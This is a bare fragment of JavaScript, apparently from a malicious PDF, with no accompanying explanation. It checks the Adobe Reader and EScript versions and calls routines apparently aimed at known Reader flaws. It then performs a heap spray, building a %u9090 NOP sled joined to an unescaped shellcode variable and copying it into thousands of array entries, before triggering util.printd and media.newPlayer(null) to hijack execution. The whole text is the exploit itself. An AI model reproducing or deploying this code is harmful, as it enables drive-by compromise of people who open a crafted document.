if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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